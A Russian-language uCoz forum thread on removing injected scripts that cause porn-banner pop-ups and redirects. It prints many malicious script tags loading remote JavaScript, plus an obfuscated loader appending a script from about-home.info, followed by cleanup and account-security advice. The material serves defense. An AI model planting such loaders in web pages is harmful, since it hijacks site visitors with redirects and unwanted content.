Модератор форума: Yuri_G  
Сообщество uCoz » Мастерская uCoz » Безопасность сайта » Если на вашем сайте появились порнобаннеры (порнобаннеры, всплывающая реклама, окна или переброс)
Если на вашем сайте появились порнобаннеры
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 1 | 15:57:08
Если на вашем сайте постоянные перебросы на другие сайты или появляется куча всплывающих рекламных баннеров, порнобаннеров, то вы должны проверить код страниц на наличие следующих скриптов:

Код
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/hvuz2754blb414j/niucee.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/eipt4uu8dbovggv/niuggcee.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/1ca1t7akhf87zrc/flashsiteru.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/af6arwcjnknnb15/menu.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/ud3ne5xe8dcre8u/topbottom.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/kuejhhvopk6nw6z/mysql.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/g5zffknmr8da4tp/update.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/4lgd2g170q96tq3/menu-v2.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/4f9eakzpj17n2yw/shapka.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/tnwyduomjbcsxzm/opapo.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/207odofje1uzdl5/orororo.txt"></script>
<script language="JavaScript" src="http://gocash.ws/js/slider.php?id=51"></script>
<script language="javascript" src="http://golink2.ru9.biz/js/back.php?id=43"></script>
<script language='javascript' type='text/javascript' src='http://omirevovne.ru/55zgn5x6ihj88voak3xatwx61o2o28l'></script>
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://omirevovne.ru/739tqn6t0d66blax8ijp5g164r61v4ut'></script>
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://omirevovne.ru/98vihkxfbix863weu7zv9wqxjxhbbdh'></script>
<script type="text/javascript" src="http://nativevat.hol.es/rases.txt"></script>
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://tsingera.ru/5easame6c5z7eb11wv3tp0164r61v4ut'></script>
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/6mg4oc9iyoi50h5tcwiudp6yfoe9gnd5e53tyz991m51k05'></script>
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/9bg8m0fsumq6pg79dp5ikt8sy9lxik40i89gq7udb51xjt1'></script>
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/7s0qxmmi2365xqgf6si4b17klvgtdyvrm5ex2ij7pdg5jet'></script>
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/8jqhrtj5gcy538xp6e6s7h8nepubdfejg5vjptg5p0eti11'></script>


Актуальные на данный момент и самые распространенные эти скрипты

Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://bobrilla.com/7h4p5qn4qhr8ee1ywr1nh01af3d31nbp'></script>


Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://iqmasa.ru/6rzofz8uuc28ef8pehs6rx5nbidd8hra473w3yk0c1n9d39'></script>

Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://fasterdir.ru/8v0n2hh3me45jvyxrtdyc4164r61v4ut'></script>


Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://omirevovne.ru/739tqn6t0d66blax8ijp5g164r61v4ut'></script>


Код
<script language='javascript' type='text/javascript' src='http://omirevovne.ru/55zgn5x6ihj88voak3xatwx61o2o28l'></script>


Код
<script language="javascript" src="http://golink2.ru9.biz/js/back.php?id=43"></script>


Код
<script language="JavaScript" src="http://gocash.ws/js/slider.php?id=51"></script>


Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://mobatori.com/6h3mo39hhqx8pibnjyshzo13skikuus5'></script>


Код
<script language='javascript' type='text/javascript' src='http://omirevovne.ru/55zgn5x6ihj88voak3xatwx61o2o28l'></script>


Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/8mi9nn0te6q68tjygr5vm573z85xk4lzw89gq7udb51xh8l'></script>


Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://tsingera.ru/5easame6c5z7eb11wv3tp0164r61v4ut'></script>


Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/6mg4oc9iyoi50h5tcwiudp6yfoe9gnd5e53tyz991m51k05'></script>


Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/9bg8m0fsumq6pg79dp5ikt8sy9lxik40i89gq7udb51xjt1'></script>


Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/7s0qxmmi2365xqgf6si4b17klvgtdyvrm5ex2ij7pdg5jet'></script>


Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/8jqhrtj5gcy538xp6e6s7h8nepubdfejg5vjptg5p0eti11'></script>


Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://chicop.ru/68sb0mshp9b78t1epj44r8zi8bjocb9'></script>


Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://mobmas.ru/s/948'></script>


Код

<script type="text/javascript">
  (function(w) {
  var script = document.createElement('script');
  var i = setInterval(function() {
  if (typeof w.document.body !== 'undefined') {
  script.src = 'http://knjjiiyqj.about-home.info' + '/?818010=LmcuKHw4NjU5MTM-KWdrbm5oaG0';
  w.document.body.appendChild(script);
  clearInterval(i);
  }
  }, 200);
})(window);
</script>
<script type="text/javascript">
  (function(w) {
  var script = document.createElement('script');
  var i = setInterval(function() {
  if (typeof w.document.body !== 'undefined') {
  script.src = 'http://knjjiiyqj.about-home.info' + '/?823389=KWApL3s_MTI-NjQ5LmBsaWlvb2U';
  w.document.body.appendChild(script);
  clearInterval(i);
  }
  }, 200);
})(window);
</script>



Как удалить:

1) Код как правило внедряется в шаблоны Страницы сайта. Модуль новости (все шаблоны) но могут быть варианты. Иногда код внедряется во все шаблоны сайта.
Прописывается в верхней части шаблона или в самом низу. Реже встречается в футере (глобальный блок Нижняя часть сайта)

2) Для удаления нужно воспользоваться функцией Быстрой замены. Для этого надо пройти в панель управления - Дизайн - Управление дизайном - Быстрая замена - В поле "Что заменить" вставляете скрипт (даже если внедрено много скриптов лучше удалять по одному) - Поле на что изменить оставляете пустым и производите замену во всех действующих модулях
Если скриптов много внедрено, можно попробовать многострочную замену по той же схеме
3) После очистки сайта от внедренного кода нужно обязательно сменить пароль uID профиля, которым администрируете сайт. Инструкция по изменению пароля находится тут //forum.ucoz.ru/forum/45-52299-1
4) Если после изменения uID пароля на новый сложный у вас снова и снова возникает проблема внедрения чужеродного кода, то выполните следующие инструкции:
1) создайте нового пользователя в панели управления сайтом: задайте ему Логин и сложнейший пароль
2) дайте созданному пользователю права администратора, а у бывшего uID профиля, которым администрировали сайт заберите права и переведите его в низшую группу
3) в общих настройках сайта поставьте старый Вид кнопки uID авторизации и далее администрируйте сайт локально
5) Если локальный способ администрирования для вас не подходит, то создайте в системе ещё один uID профиль, на котором не будет сайтов и прав управления ни одним из сайтов. И новый созданный профиль используйте для авторизации на сайтах системы uCoz с uID авторизацией. А uID профилем, которым вы администрируете сайт или сайты заходите только к себе на сайты и более никуда. И поставьте на uID пароль администратора сайта сложнейший пароль!
6) Заберите права доступа к админ бару другим администраторам и модераторам вашего сайта. не пускайте никого в панель управления сайтом
7) Будьте внимательны к письмам, которые приходят на вашу почту. Часто мошенники имитируют письма от вебсервиса uCoz, в которых просят вас пройти или верификацию или пройти по ссылкам, также просят ввод ваших данных (вебтоп пароль и пароль uID профиля или секретный вопрос и ответ). Если вы сомневаетесь в письме, которое вам пришло от имени сервиса, вы можете всегда спросить или на форуме в этой теме //forum.ucoz.ru/forum/45-46950-1 или перешлите его сразу на адрес abuse@ucoz.ru
Будьте всегда бдительны и следите за темой //forum.ucoz.ru/forum/45-35739-1


Если вы вообще ничего не поняли, но проблема появления всплывающих порнобаннеров и переброски на чужие сайты с вашего у вас существует, то при обращении в эту тему вы должны дать ссылку на свой сайт, дать ссылку на сайт куда перебрасывает (если есть переброс), а так же указать происходит это под логином или под гостем

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 451 | 13:04:14
Admin2557, панель управления - дизайн - управление дизайном - быстрая замена - в поле что заменить вставьте скрипт
Код
<script type="text/javascript" src="http://dmev.me/uGost/ver1-2/11/uGost11.js"></script>
- в поле на что заменить вставьте
Код
<script type="text/javascript" src="http://www.dima2.ucoz.net/uGost/ver1-2/11/uGost11.js"></script>
и произведите замену во всех модулях. вход в пу тут http://umo74.ucoz.ru/admin

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
rustikgamer96
Сообщений: 3
Репутация: 0

Сообщение # 452 | 21:13:26
webanet, здравствуйте. У меня на сайте,конкретно на странице http://seasonow.ru/load/dramy/khodjachie_mertveci/5-1-0-79 есть вредоносный код.
который к сожалению мне не удается найти.
Что он из себя представляет. У меня на сайте расположены плееры ,здесь например с кодом
<iframe allowfullscreen="" frameborder="0" height="370" src="http://hdgo.cc/video/serials/qemt8q52w4m4drnq7ker7nce/4101/" width="610" id="outsrc" style="display: none;"></iframe>

А так же на этой странице есть посторонний плееер, который находится поверх моего,с кодом
<iframe src="//bazr.ru/player?playlistId=9999&amp;autoreplace=1&amp;domainId=1019671" width="610" height="370" style="border: 0px;"></iframe>

Из за него мой плеер не работает и как удалить его я найти к сожалению не могу, прошу помочь
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 453 | 21:19:34
rustikgamer96, эта тема про порнобаннеры. а вы почитайте тут //forum.ucoz.ru/forum/30-73879-1

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
rustikgamer96
Сообщений: 3
Репутация: 0

Сообщение # 454 | 21:28:25
здравствуйте. У меня на сайте,конкретно на странице
Код
http://seasonow.ru/load/dramy/khodjachie_mertveci/5-1-0-79
есть вредоносный код.
который к сожалению мне не удается найти.
Что он из себя представляет. У меня на сайте расположены плееры ,здесь например с кодом
Код
<iframe allowfullscreen="" frameborder="0" height="370" src="http://hdgo.cc/video/serials/qemt8q52w4m4drnq7ker7nce/4101/" width="610" id="outsrc" style="display: none;"></iframe>


А так же на этой странице есть посторонний плееер, который находится поверх моего,с кодом
Код
<iframe src="//bazr.ru/player?playlistId=9999&autoreplace=1&domainId=1019671" width="610" height="370" style="border: 0px;"></iframe>

Из за него мой плеер не работает и как удалить его я найти к сожалению не могу, прошу помочь
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 455 | 21:36:59
rustikgamer96, я написала почитать тему, а не копировать туда свое сообщение без прочтения

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
rustikgamer96
Сообщений: 3
Репутация: 0

Сообщение # 456 | 21:56:53
webanet, на сколько я понял вы меняете плееры с нелегальным "Российским контентом" на свой легальный... Но зачем вы произвели замену с сериалом Ходячие мертвецы? В первых он далеко не Российский, а вторых его нет даже в этом "легальном плеере"
Удалите пожалуйста данный скрипт с страницы моего сайта
vladko14
Сообщений: 3
Репутация: 0

Сообщение # 457 | 14:13:24
webanet, Здравствуйте, через браузер нахожу код скриптов, но в панели управления я не могу их найти и заменить :-(
Спойлерсайт port14.ukoz.ru

Код<script type="text/javascript" src="http://cas.criteo.com/delivery/ajs.php?zoneid=372119&cb=32919870596&exclude=undefined&charset=UTF-8&loc=http%3A//port14.ucoz.ru/"></script>
<script>window.crtnoads = function(){ if(parent.criteo_crtnoads && typeof(parent.criteo_crtnoads)=="function") { parent.criteo_crtnoads(); } };</script>
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 458 | 17:03:01
vladko14, то что вы находите это часть системной рекламы, отключается она платно. как отключить почитайте тут https://www.ucoz.ru/help/pro/kak-oplatit-i-ubrat-reklamu
через редактор коды системных баннеров недоступны. вы не описали свою проблему, которая побудила вас искать код

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
vladko14
Сообщений: 3
Репутация: 0

Сообщение # 459 | 17:46:26
webanet, Реклама силиконовых грудей для трансвеститов - это реклама ukoz? Ой как здорово, а я думал это порно-банер, да и не один я мне многие пишут об этом, есть повод посмеяться.

Добавлено (27 Янв 2018, 17:46:26)
---------------------------------------------
webanet, Вот сейчас еще всплыла реклама фаллоимитаторов, ну лично я считаю, что это порно-банер.

webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 460 | 17:51:44
vladko14, указывайте страницы где попалось и делайте скриншоты неприличной рекламы, которую вы встретите.

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
vladko14
Сообщений: 3
Репутация: 0

Сообщение # 461 | 17:55:30
webanet, к сожалению уже не могу это сделать, я уже полностью удалил сайт
Dottore
Сообщений: 1
Репутация: 0

Сообщение # 462 | 10:06:57
Сайт mammolog.narod.ru/
Касперский стал предупреждать о наличии скриптов (майнинга?).

21.04.2018 09.33.28 Обнаружен объект (файл) "http://mammolog.narod.ru/abnl/?adsdata=SRuwLNChCd5g1dMt6;sLPBTfLe51XhkF19f^iMH7Xiqyitiv;bMYnNfAfDfMXXcPMbTCIMYM2qlBWQvl9a31xxk4jElsJH!bArxGivynQ5BkYTabi!V2KhK2c61PeSRCyD9wqxwaBS4pqWZ6DWD1dHz!xNGCi1qheKn0OMCaHiZtNmDzDGLO9T8R0fyx9QJgLOWib3hXfPsMdYFxWP0mmbgMgnIZFAfmix4Xx;^tTLxBhxrNYG90Wia5hkOzAHefdSiQmWSB6BLC7dkeEJZZc!b130GG4OvbcXFXaYbtSH5xn42FM1CyBBSAlv;U!rpMf^lB2mCLG^kydgJ6CHaibjNk2e^vJGDPGJyMeD2wGZUc!T1sgKCMvM^jbPdT7Z;90jxZ9KjwG2;o"

Название объекта: HEUR:Trojan.Script.Miner.gen

"Объект: http://mammolog.narod.ru/abnl/?adsdata=SRuwLNChCd5g1dMt6;sLPBTfLe51XhkF19f^iMH7Xiqyitiv;bMYnNfAfDfMXXcPMbTCIMYM2qlBWQvl9a31xxk4jElsJH!bArxGivynQ5BkYTabi!V2KhK2c61PeSRCyD9wqxwaBS4pqWZ6DWD1dHz!xNGCi1qheKn0OMCaHiZtNmDzDGLO9T8R0fyx9QJgLOWib3hXfPsMdYFxWP0mmbgMgnIZFAfmix4Xx;^tTLxBhxrNYG90Wia5hkOzAHefdSiQmWSB6BLC7dkeEJZZc!b130GG4OvbcXFXaYbtSH5xn42FM1CyBBSAlv;U!rpMf^lB2mCLG^kydgJ6CHaibjNk2e^vJGDPGJyMeD2wGZUc!T1sgKCMvM^jbPdT7Z;90jxZ9KjwG2;o"

Программа: Firefox Тип объекта: Троянская программа Время: 21.04.2018 09:33

Доступа к сайту нет (отправил запрос на восстановление)
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 463 | 11:24:52
Dottore, сюда в панель тоже не можете войти ? http://mammolog.narod.ru/admin если сможете пишите в тех.поддержку. если нет тоже пишите в тех.поддержку но сюда https://www.ucoz.ru/contact

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
kkait
Сообщений: 4
Репутация: 0

Сообщение # 464 | 14:38:26
Здравствуйте
На сайте http://dailapy.ru/ идет переброс через всплывающие окна. Не могу найти откуда лезет.
грузит это - //1xudy.host/?tag=s_44958m_355c_2691
Помогите разобраться

Добавлено (03 Июл 2018, 14:38:26)
---------------------------------------------
webanet, Вы мне поможете?

Прикрепления: 1129009.png (62.0 Kb)
Сообщение отредактировал kkait - Вторник, 03 Июл 2018, 14:37:53
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 465 | 16:53:49
kkait, сегодня есть такое дело и с тем же адресом? и на главной сайта встречается тоже? это в рекламе

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
Сообщество uCoz » Мастерская uCoz » Безопасность сайта » Если на вашем сайте появились порнобаннеры (порнобаннеры, всплывающая реклама, окна или переброс)
Поиск: